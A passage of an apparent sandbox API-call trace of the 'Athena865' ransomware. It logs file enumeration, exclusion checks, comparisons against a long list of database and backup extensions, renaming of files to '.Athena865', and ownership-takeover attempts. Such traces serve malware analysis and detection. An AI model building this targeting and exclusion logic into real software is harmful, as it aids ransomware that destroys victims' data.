lpString2="fp3") returned -1 [0035.023] lstrlenW (lpString="fp4") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="fp4") returned -1 [0035.023] lstrlenW (lpString="fp5") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="fp5") returned -1 [0035.023] lstrlenW (lpString="fp7") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="fp7") returned -1 [0035.023] lstrlenW (lpString="fpt") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="fpt") returned -1 [0035.023] lstrlenW (lpString="frm") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="frm") returned -1 [0035.023] lstrlenW (lpString="gdb") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.023] lstrlenW (lpString="gdb") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="gdb") returned -1 [0035.023] lstrlenW (lpString="grdb") returned 4 [0035.023] lstrcmpiW (lpString1="752}", lpString2="grdb") returned -1 [0035.023] lstrlenW (lpString="gwi") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="gwi") returned -1 [0035.023] lstrlenW (lpString="hdb") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="hdb") returned -1 [0035.023] lstrlenW (lpString="his") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="his") returned -1 [0035.023] lstrlenW (lpString="ib") returned 2 [0035.023] lstrcmpiW (lpString1="2}", lpString2="ib") returned -1 [0035.023] lstrlenW (lpString="idb") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="idb") returned -1 [0035.023] lstrlenW (lpString="ihx") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="ihx") returned -1 [0035.023] lstrlenW (lpString="itdb") returned 4 [0035.023] lstrcmpiW (lpString1="752}", lpString2="itdb") returned -1 [0035.023] lstrlenW (lpString="itw") returned 3 [0035.023] lstrcmpiW (lpString1="52}", lpString2="itw") returned -1 [0035.024] lstrlenW (lpString="jet") returned 3 [0035.024] lstrcmpiW (lpString1="52}", lpString2="jet") returned -1 [0035.024] lstrlenW (lpString="jtx") returned 3 [0035.024] lstrcmpiW (lpString1="52}", lpString2="jtx") returned -1 [0035.024] lstrlenW (lpString="kdb") returned 3 [0035.024] lstrcmpiW (lpString1="52}", lpString2="kdb") returned -1 [0035.024] lstrlenW (lpString="kexi") returned 4 [0035.024] lstrcmpiW (lpString1="752}", lpString2="kexi") returned -1 [0035.024] lstrlenW (lpString="kexic") returned 5 [0035.024] lstrcmpiW (lpString1="c752}", lpString2="kexic") returned -1 [0035.095] lstrlenW (lpString="kexis") returned 5 [0035.095] lstrcmpiW (lpString1="c752}", lpString2="kexis") returned -1 [0035.095] lstrlenW (lpString="lgc") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="lgc") returned -1 [0035.095] lstrlenW (lpString="lwx") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="lwx") returned -1 [0035.095] lstrlenW (lpString="maf") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="maf") returned -1 [0035.095] lstrlenW (lpString="maq") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="maq") returned -1 [0035.095] lstrlenW (lpString="mar") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="mar") returned -1 [0035.095] lstrlenW (lpString="marshal") returned 7 [0035.095] lstrcmpiW (lpString1="6cc752}", lpString2="marshal") returned -1 [0035.095] lstrlenW (lpString="mas") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="mas") returned -1 [0035.095] lstrlenW (lpString="mav") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="mav") returned -1 [0035.095] lstrlenW (lpString="maw") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="maw") returned -1 [0035.095] lstrlenW (lpString="mdbhtml") returned 7 [0035.095] lstrcmpiW (lpString1="6cc752}", lpString2="mdbhtml") returned -1 [0035.095] lstrlenW (lpString="mdn") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="mdn") returned -1 [0035.095] lstrlenW (lpString="mdt") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="mdt") returned -1 [0035.095] lstrlenW (lpString="mfd") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="mfd") returned -1 [0035.095] lstrlenW (lpString="mpd") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="mpd") returned -1 [0035.095] lstrlenW (lpString="mrg") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="mrg") returned -1 [0035.095] lstrlenW (lpString="mud") returned 3 [0035.095] lstrcmpiW (lpString1="52}", lpString2="mud") returned -1 [0035.095] lstrlenW (lpString="mwb") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="mwb") returned -1 [0035.096] lstrlenW (lpString="myd") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="myd") returned -1 [0035.096] lstrlenW (lpString="ndf") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="ndf") returned -1 [0035.096] lstrlenW (lpString="nnt") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="nnt") returned -1 [0035.096] lstrlenW (lpString="nrmlib") returned 6 [0035.096] lstrcmpiW (lpString1="cc752}", lpString2="nrmlib") returned -1 [0035.096] lstrlenW (lpString="ns2") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="ns2") returned -1 [0035.096] lstrlenW (lpString="ns3") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="ns3") returned -1 [0035.096] lstrlenW (lpString="ns4") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="ns4") returned -1 [0035.096] lstrlenW (lpString="nsf") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="nsf") returned -1 [0035.096] lstrlenW (lpString="nv") returned 2 [0035.096] lstrcmpiW (lpString1="2}", lpString2="nv") returned -1 [0035.096] lstrlenW (lpString="nv2") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="nv2") returned -1 [0035.096] lstrlenW (lpString="nwdb") returned 4 [0035.096] lstrcmpiW (lpString1="752}", lpString2="nwdb") returned -1 [0035.096] lstrlenW (lpString="nyf") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="nyf") returned -1 [0035.096] lstrlenW (lpString="odb") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.096] lstrlenW (lpString="odb") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="odb") returned -1 [0035.096] lstrlenW (lpString="oqy") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="oqy") returned -1 [0035.096] lstrlenW (lpString="ora") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="ora") returned -1 [0035.096] lstrlenW (lpString="orx") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="orx") returned -1 [0035.096] lstrlenW (lpString="owc") returned 3 [0035.096] lstrcmpiW (lpString1="52}", lpString2="owc") returned -1 [0035.096] lstrlenW (lpString="p96") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="p96") returned -1 [0035.097] lstrlenW (lpString="p97") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="p97") returned -1 [0035.097] lstrlenW (lpString="pan") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="pan") returned -1 [0035.097] lstrlenW (lpString="pdb") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="pdb") returned -1 [0035.097] lstrlenW (lpString="pdm") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="pdm") returned -1 [0035.097] lstrlenW (lpString="pnz") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="pnz") returned -1 [0035.097] lstrlenW (lpString="qry") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="qry") returned -1 [0035.097] lstrlenW (lpString="qvd") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="qvd") returned -1 [0035.097] lstrlenW (lpString="rbf") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="rbf") returned -1 [0035.097] lstrlenW (lpString="rctd") returned 4 [0035.097] lstrcmpiW (lpString1="752}", lpString2="rctd") returned -1 [0035.097] lstrlenW (lpString="rod") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="rod") returned -1 [0035.097] lstrlenW (lpString="rodx") returned 4 [0035.097] lstrcmpiW (lpString1="752}", lpString2="rodx") returned -1 [0035.097] lstrlenW (lpString="rpd") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="rpd") returned -1 [0035.097] lstrlenW (lpString="rsd") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="rsd") returned -1 [0035.097] lstrlenW (lpString="sas7bdat") returned 8 [0035.097] lstrcmpiW (lpString1="e6cc752}", lpString2="sas7bdat") returned -1 [0035.097] lstrlenW (lpString="sbf") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="sbf") returned -1 [0035.097] lstrlenW (lpString="scx") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="scx") returned -1 [0035.097] lstrlenW (lpString="sdb") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="sdb") returned -1 [0035.097] lstrlenW (lpString="sdc") returned 3 [0035.097] lstrcmpiW (lpString1="52}", lpString2="sdc") returned -1 [0035.098] lstrlenW (lpString="sdf") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="sdf") returned -1 [0035.098] lstrlenW (lpString="sis") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="sis") returned -1 [0035.098] lstrlenW (lpString="spq") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="spq") returned -1 [0035.098] lstrlenW (lpString="te") returned 2 [0035.098] lstrcmpiW (lpString1="2}", lpString2="te") returned -1 [0035.098] lstrlenW (lpString="teacher") returned 7 [0035.098] lstrcmpiW (lpString1="6cc752}", lpString2="teacher") returned -1 [0035.098] lstrlenW (lpString="tmd") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="tmd") returned -1 [0035.098] lstrlenW (lpString="tps") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="tps") returned -1 [0035.098] lstrlenW (lpString="trc") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.098] lstrlenW (lpString="trc") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="trc") returned -1 [0035.098] lstrlenW (lpString="trm") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="trm") returned -1 [0035.098] lstrlenW (lpString="udb") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="udb") returned -1 [0035.098] lstrlenW (lpString="udl") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="udl") returned -1 [0035.098] lstrlenW (lpString="usr") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="usr") returned -1 [0035.098] lstrlenW (lpString="v12") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="v12") returned -1 [0035.098] lstrlenW (lpString="vis") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="vis") returned -1 [0035.098] lstrlenW (lpString="vpd") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="vpd") returned -1 [0035.098] lstrlenW (lpString="vvv") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="vvv") returned -1 [0035.098] lstrlenW (lpString="wdb") returned 3 [0035.098] lstrcmpiW (lpString1="52}", lpString2="wdb") returned -1 [0035.098] lstrlenW (lpString="wmdb") returned 4 [0035.098] lstrcmpiW (lpString1="752}", lpString2="wmdb") returned -1 [0035.099] lstrlenW (lpString="wrk") returned 3 [0035.099] lstrcmpiW (lpString1="52}", lpString2="wrk") returned -1 [0035.099] lstrlenW (lpString="xdb") returned 3 [0035.099] lstrcmpiW (lpString1="52}", lpString2="xdb") returned -1 [0035.099] lstrlenW (lpString="xld") returned 3 [0035.099] lstrcmpiW (lpString1="52}", lpString2="xld") returned -1 [0035.099] lstrlenW (lpString="xmlff") returned 5 [0035.099] lstrcmpiW (lpString1="c752}", lpString2="xmlff") returned -1 [0035.099] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\System Volume Information\\{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865") returned 115 [0035.099] MoveFileExW (lpExistingFileName="C:\\System Volume Information\\{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" (normalized: "c:\\system volume information\\{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}"), lpNewFileName="C:\\System Volume Information\\{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.Athena865" (normalized: "c:\\system volume information\\{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}.athena865"), dwFlags=0x1) returned 0 [0035.099] GetLastError () returned 0x5 [0035.099] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b8, nSubAuthorityCount=0x1, nSubAuthority0=0x0, nSubAuthority1=0x0, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4c8 | out: pSid=0x241d4c8*=0x50dc40*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x1), SubAuthority=0x0)) returned 1 [0035.099] AllocateAndInitializeSid (in: pIdentifierAuthority=0x241d4b0, nSubAuthorityCount=0x2, nSubAuthority0=0x20, nSubAuthority1=0x220, nSubAuthority2=0x0, nSubAuthority3=0x0, nSubAuthority4=0x0, nSubAuthority5=0x0, nSubAuthority6=0x0, nSubAuthority7=0x0, pSid=0x241d4d4 | out: pSid=0x241d4d4*=0x50dc58*(Revision=0x1, SubAuthorityCount=0x2, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x20, [1]=0x0))) returned 1 [0035.099] SetEntriesInAclW () returned 0x0 [0035.099] SetNamedSecurityInfoW () returned 0x5 [0035.099] SetNamedSecurityInfoW () returned 0x5 [0035.099] LocalFree (hMem=0x529490) returned 0x0 [0035.099] wsprintfA (in: param_1=0x241db48, param_2="[ERROR] %S MoveFileEx TakeOwnership error %i\r\n" | out: param_1="[ERROR] C:\\System Volume Information\\{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.099] lstrlenA (lpString="[ERROR] C:\\System Volume Information\\{12afb45a-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752} MoveFileEx TakeOwnership error 5\r\n") returned 148 [0035.099] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\ids.txt" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\ids.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x154 [0035.100] SetFilePointer (in: hFile=0x154, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x4dc [0035.100] WriteFile (in: hFile=0x154, lpBuffer=0x241db48*, nNumberOfBytesToWrite=0x94, lpNumberOfBytesWritten=0x241d4e4, lpOverlapped=0x0 | out: lpBuffer=0x241db48*, lpNumberOfBytesWritten=0x241d4e4*=0x94, lpOverlapped=0x0) returned 1 [0035.100] CloseHandle (hObject=0x154) returned 1 [0035.101] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0035.101] CloseHandle (hObject=0x0) returned 0 [0035.101] CloseHandle (hObject=0x0) returned 0 [0035.101] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0x12b0e40, ftCreationTime.dwHighDateTime=0x1d2fc28, ftLastAccessTime.dwLowDateTime=0x12b0e40, ftLastAccessTime.dwHighDateTime=0x1d2fc28, ftLastWriteTime.dwLowDateTime=0x76db90c0, ftLastWriteTime.dwHighDateTime=0x1d301bd, nFileSizeHigh=0x0, nFileSizeLow=0x1488c000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", cAlternateFileName="{12AFB~2")) returned 1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".") returned 1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="..") returned 1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="windows") returned -1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="bootmgr") returned -1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="temp") returned -1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="pagefile.sys") returned -1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="boot") returned -1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ids.txt") returned -1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="ntuser.dat") returned -1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="perflogs") returned -1 [0035.101] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2="MSBuild") returned -1 [0035.101] lstrlenW (lpString="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.102] lstrcpyW (in: lpString1=0x241e882, lpString2="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" | out: lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}" [0035.102] lstrlenW (lpString="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.102] lstrlenW (lpString="Athena865") returned 9 [0035.102] lstrcmpiW (lpString1="6e6cc752}", lpString2="Athena865") returned -1 [0035.102] lstrlenW (lpString=".dll") returned 4 [0035.102] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".dll") returned 1 [0035.102] lstrlenW (lpString=".lnk") returned 4 [0035.102] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".lnk") returned 1 [0035.102] lstrlenW (lpString=".ini") returned 4 [0035.102] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".ini") returned 1 [0035.102] lstrlenW (lpString=".sys") returned 4 [0035.102] lstrcmpiW (lpString1="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}", lpString2=".sys") returned 1 [0035.102] lstrlenW (lpString="{12afb45e-681b-11e7-80b9-c43dc7584a00}{3808876b-c176-4e48-b7ae-04046e6cc752}") returned 76 [0035.102] lstrlenW (lpString="bak") returned 3 [0035.102] lstrcmpiW (lpString1="52}", lpString2="bak") returned -1 [0035.102] lstrlenW (lpString="ba_") returned 3 [0035.102] lstrcmpiW (lpString1="52}", lpString2="ba_") returned -1 [0035.102] lstrlenW (lpString="dbb") returned 3 [0035.102] lstrcmpiW (lpString1="52}", lpString2="dbb") returned -1 [0035.102] lstrlenW (lpString="vmdk") returned 4 [0035.102] lstrcmpiW (lpString1="752}", lpString2="vmdk") returned -1 [0035.102] lstrlenW (lpString="rar") returned 3 [0035.102] lstrcmpiW (lpString1="52}", lpString2="rar") returned -1 [0035.102] lstrlenW (lpString="zip") returned 3 [0035.102] lstrcmpiW (lpString1="52}", lpString2="zip") returned -1 [0035.102] lstrlenW (lpString="tgz") returned 3 [0035.102] lstrcmpiW (lpString1="52}", lpString2="tgz") returned -1 [0035.102] lstrlenW (lpString="vbox") returned 4 [0035.102] lstrcmpiW (lpString1="752}", lpString2="vbox") returned -1 [0035.102] lstrlenW (lpString="vdi") returned 3 [0035.102] lstrcmpiW (lpString1="52}", lpString2="vdi") returned -1 [0035.102] lstrlenW (lpString="vhd") returned 3 [0035.102] lstrcmpiW (lpString1="52}", lpString2="vhd") returned -1 [0035.102] lstrlenW (lpString="vhdx") returned 4 [0035.102] lstrcmpiW (lpString1="752}", lpString2="vhdx") returned -1 [0035.102] lstrlenW (lpString="avhd") returned 4 [0035.103] lstrcmpiW (lpString1="752}", lpString2="avhd") returned -1 [0035.103] lstrlenW (lpString="db") returned 2 [0035.103] lstrcmpiW (lpString1="2}", lpString2="db") returned -1 [0035.103] lstrlenW (lpString="db2") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="db2") returned -1 [0035.103] lstrlenW (lpString="db3") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="db3") returned -1 [0035.103] lstrlenW (lpString="dbf") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="dbf") returned -1 [0035.103] lstrlenW (lpString="mdf") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="mdf") returned -1 [0035.103] lstrlenW (lpString="mdb") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="mdb") returned -1 [0035.103] lstrlenW (lpString="sql") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="sql") returned -1 [0035.103] lstrlenW (lpString="sqlite") returned 6 [0035.103] lstrcmpiW (lpString1="cc752}", lpString2="sqlite") returned -1 [0035.103] lstrlenW (lpString="sqlite3") returned 7 [0035.103] lstrcmpiW (lpString1="6cc752}", lpString2="sqlite3") returned -1 [0035.103] lstrlenW (lpString="sqlitedb") returned 8 [0035.103] lstrcmpiW (lpString1="e6cc752}", lpString2="sqlitedb") returned -1 [0035.103] lstrlenW (lpString="xml") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="xml") returned -1 [0035.103] lstrlenW (lpString="$er") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="$er") returned 1 [0035.103] lstrlenW (lpString="4dd") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="4dd") returned 1 [0035.103] lstrlenW (lpString="4dl") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="4dl") returned 1 [0035.103] lstrlenW (lpString="^^^") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="^^^") returned 1 [0035.103] lstrlenW (lpString="abs") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="abs") returned -1 [0035.103] lstrlenW (lpString="abx") returned 3 [0035.103] lstrcmpiW (lpString1="52}", lpString2="abx") returned -1 [0035.103] lstrlenW (lpString="accdb") returned 5 [0035.103] lstrcmpiW (lpString1="c752}", lpString2="accdb") returned 1 [0035.103] lstrlenW (lpString="accdc") returned 5 [0035.104] lstrcmpiW (lpString1="c752}", lpString2="accdc") returned 1 [0035.104] lstrlenW (lpString="accde") returned 5 [0035.104] lstrcmpiW (lpString1="c752}", lpString2="accde") returned 1 [0035.104] lstrlenW (lpString="accdr") returned 5 [0035.104] lstrcmpiW (lpString1="c752}", lpString2="accdr") returned 1 [0035.104] lstrlenW (lpString="accdt") returned 5 [0035.104] lstrcmpiW (lpString1="c752}", lpString2="accdt") returned 1 [0035.104] lstrlenW (lpString="accdw") returned 5 [0035.104] lstrcmpiW (lpString1="c752}", lpString2="accdw") returned 1 [0035.104] lstrlenW (lpString="accft") returned 5 [0035.104] lstrcmpiW (lpString1="c752}", lpString2="accft") returned 1 [0035.104] lstrlenW (lpString="adb") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.104] lstrlenW (lpString="adb") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="adb") returned -1 [0035.104] lstrlenW (lpString="ade") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="ade") returned -1 [0035.104] lstrlenW (lpString="adf") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="adf") returned -1 [0035.104] lstrlenW (lpString="adn") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="adn") returned -1 [0035.104] lstrlenW (lpString="adp") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="adp") returned -1 [0035.104] lstrlenW (lpString="alf") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="alf") returned -1 [0035.104] lstrlenW (lpString="ask") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="ask") returned -1 [0035.104] lstrlenW (lpString="btr") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="btr") returned -1 [0035.104] lstrlenW (lpString="cat") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="cat") returned -1 [0035.104] lstrlenW (lpString="cdb") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="cdb") returned -1 [0035.104] lstrlenW (lpString="ckp") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="ckp") returned -1 [0035.104] lstrlenW (lpString="cma") returned 3 [0035.104] lstrcmpiW (lpString1="52}", lpString2="cma") returned -1 [0035.104] lstrlenW (lpString="cpd") returned 3 [0035.105] lstrcmpiW (lpString1="52}", lpString2="cpd") returned -1 [0035.105] lstrlenW (lpString="dacpac") returned 6 [0035.105] lstrcmpiW (lpString1="cc752}", lpString2="dacpac") returned -1 [0035.105] lstrlenW (lpString="dad") returned 3 [0035.105] lstrcmpiW (lpString1="52}", lpString2="dad") returned -1 [0035.105] lstrlenW (lpString="dadiagrams") returned 10 [0035.105] lstrcmpiW (lpString1="46e6cc752}", lpString2="dadiagrams") returned -1 [0035.105] lstrlenW (lpString="daschema") returned 8 [0035.105] lstrcmpiW (lpString1="e6cc752}", lpString2="daschema") returned 1 [0035.105] lstrlenW (lpString="db-journal") returned 10 [0035.105] lstrcmpiW (lpString1="46e6cc752}", lpString2="db-journal") returned -1 [0035.105] lstrlenW (lpString="db-shm") returned 6 [0035.105] lstrcmpiW (lpString1="cc752}", lpString2="db-shm") returned -1 [0035.105] lstrlenW (lpString="db-wal") returned 6 [0035.105] lstrcmpiW (lpString1="cc752}", lpString2="db-wal") returned -1 [0035.105] lstrlenW (lpString="dbc") returned 3 [0035.105] lstrcmpiW (lpString1="52}", lpString2="dbc") returned -1 [0035.105] lstrlenW (lpString="dbs") returned 3 [0035.105] lstrcmpiW (lpString1="52}", lpString2="dbs") returned -1 [0035.105] lstrlenW (lpString="dbt") returned 3 [0035.105] lstrcmpiW (lpString1="52}", lpString2="dbt") returned -1 [0035.105] lstrlenW (lpString="dbv") returned 3 [0035.105] lstrcmpiW (lpString1="52}", lpString2="dbv") returned -1 [0035.105] lstrlenW (lpString="dbx") returned 3 [0035.105] lstrcmpiW (lpString1="52}", lpString2="dbx") returned -1 [0035.105] lstrlenW (lpString="dcb") returned 3 [0035.105] lstrcmpiW (lpString1="52}", lpString2="dcb") returned -1 [0035.105] lstrlenW (lpString="dct") returned 3 [0035.105] lstrcmpiW (lpString1="52}", lpString2="dct") returned -1 [0035.105] lstrlenW (lpString="dcx") returned 3 [0035.105] lstrcmpiW (lpString1="52}", lpString2="dcx") returned -1 [0035.105] lstrlenW (lpString="ddl") returned 3 [0035.105] lstrcmpiW (lpString1="52}", lpString2="ddl") returned -1 [0035.105] lstrlenW (lpString="dlis") returned 4 [0035.105] lstrcmpiW (lpString1="752}", lpString2="dlis") returned -1 [0035.105] lstrlenW (lpString="dp1") returned 3 [0035.105] 